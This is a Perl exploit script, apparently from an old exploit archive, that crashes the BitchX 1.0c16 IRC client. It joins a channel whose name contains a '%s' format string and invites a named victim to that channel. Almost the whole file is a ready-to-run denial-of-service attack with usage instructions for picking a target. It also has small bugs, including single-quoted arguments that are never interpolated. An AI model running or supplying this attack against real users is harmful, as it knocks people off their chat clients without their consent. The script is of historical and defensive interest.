#!/usr/bin/perl
# BitchX 1.0c16 DoS Exploit by bansh33 [www.r00tabega.com]
# Crashes version 1.0c16 of the BitchX client.
# Basically, inviting a user to a channel which contains the string "%s" 
# causes BX to coredump.
# See http://packetstorm.securify.com/0007-exploits/bitchx.dos.txt
# for full advisory info as well as patch.
use Net::IRC;
if (@ARGV != 3) {
	print "BitchX 1.0c16 DoS by bansh33 [www.r00tabega.com]\n";
	print "usage: ./bx-dos.pl [your nick] [nick to DoS] [irc server]\n";
	exit;
}
$irc = new Net::IRC;
$conn = $irc->newconn(Nick=>'$ARGV[0]',
                          Server=>'$ARGV[2]');
sub on_connect {
        print "Connected to $ARGV[3].. sending DoS to $ARGV[1]..\n";
        $conn->join("\#\%sr00tabega\!r0x\!y0ur\!w0rld");
        $conn->invite("$ARGV[1]", "\#\%sr00tabega\!r0x\!y0ur\!w0rld");
	print "DoS Sent. Exiting.\n";
	exit;
    }
$conn->add_global_handler('376', \&on_connect); 
$irc->start;
